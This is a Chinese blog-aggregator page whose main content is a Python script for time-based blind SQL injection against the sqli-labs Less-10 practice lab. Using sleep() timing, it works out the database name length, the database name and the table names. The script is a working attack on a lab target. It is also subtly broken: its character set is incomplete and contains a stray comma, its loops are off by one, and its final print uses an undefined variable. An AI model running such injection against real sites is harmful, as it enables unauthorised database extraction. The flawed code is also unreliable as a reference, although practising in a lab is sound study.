当前位置:网站首页>时间盲注脚本
时间盲注脚本
2022-08-03 05:22:00 【wuqinghalasao】
import requests,time,string
# 假设页面无任何回显需要用到时间注入
url='http://192.168.28.133/sqli-labs-master/Less-10/?id=1" and '
a1=0
for a in range(10):
start=time.time()
res=requests.get(f"{url}if(length(database())={a},sleep(2),1)-- -")
response = res.text
end=time.time()
if end-start>1:
a1=a
print(f'库名长度为{a1}')
break
low = 'abcdefghijklmnopqrstuvw,xyz'
res1=''
for a2 in range(a1+1):
for a3 in low:
start = time.time()
res3 = requests.get(f"{url}if(substr(database(),{a2},1)='{a3}',sleep(2),1)-- - ")
response4=res3.text
end = time.time()
if end-start>1:
res1+=a3
print(f'库名为{res1}')
# 查表数量,不需要判断表的数量,直接gruop_concat
res8=[]
# 取表名
res7 = ''
for a7 in range(1,60):
for a8 in low:
start = time.time()
res6 = requests.get(f"{url}if(substr((SELECT group_concat(table_name) from information_schema.tables where table_schema='{res1}'),{a7},1)='{a8}',sleep(3),1) ")
response6=res6.text
end = time.time()
if end - start > 2:
res7+=a8
res8.append(res7)
print(res8)
print(f'数据库{res4}有{res8}表')
边栏推荐
猜你喜欢

动态调整web系统主题? 看这一篇就够了

pta a.1030的dijkstra+DFS方法

动态调整web主题(2) 萃取篇

Leetcode刷题——一些用层次遍历解决的问题(111. 二叉树的最小深度、104. 二叉树的最大深度、226. 翻转二叉树、剑指 Offer 27. 二叉树的镜像)

npm run dev/serve 时报错

【源码解读】你买的NFT到底是什么?

下拉框数据字典应用案例

jsp通过form表单提交数据到servlet报404

【圣诞节给爱的人打印一颗圣诞树吧】超详细代码实现——圣诞树打印

Playing with Markdown(2) - Extraction and Manipulation of Abstract Syntax Trees
随机推荐
ansible的安装和部署详细过程,配置清单基本操作
玩转Markdown(2) —— 抽象语法树的提取与操纵
Qlik Sense 聚合函数及范围详解(Sum、Count、All、ToTaL、{1})
浏览器多线程离屏渲染压缩打包方案
边缘辅助无人机网络的分层联邦学习
运行 npm run xxx 如何触发构建命令以及启动Node服务等功能?
Delightful Nuxt3 Tutorial (1): Application Creation and Configuration
下拉框数据字典应用案例
浅谈函数递归汉诺塔
中国食品产业园区行业前景规划建议及投融资模式分析报告2022~2028年
pta a.1030的dijkstra+DFS方法
uni-app 滚动到顶部/指定位置
【解读合约审计】Harmony的跨链桥是如何被盗一亿美金的?
Qlik Sense 临时处理表数据详解(Resident)
中国磷化铟晶圆行业发展前景与投资规划分析报告2022~2028年
中国聚氯乙烯(PVC)土工膜发展动态及投资前景预测报告2022~2028年
经典论文-ResNet
NFT租赁提案EIP-5006步入最后审核!让海外大型游戏的链改成为可能
Leetcode刷题——一些用层次遍历解决的问题(111. 二叉树的最小深度、104. 二叉树的最大深度、226. 翻转二叉树、剑指 Offer 27. 二叉树的镜像)
【函数与递归】7.19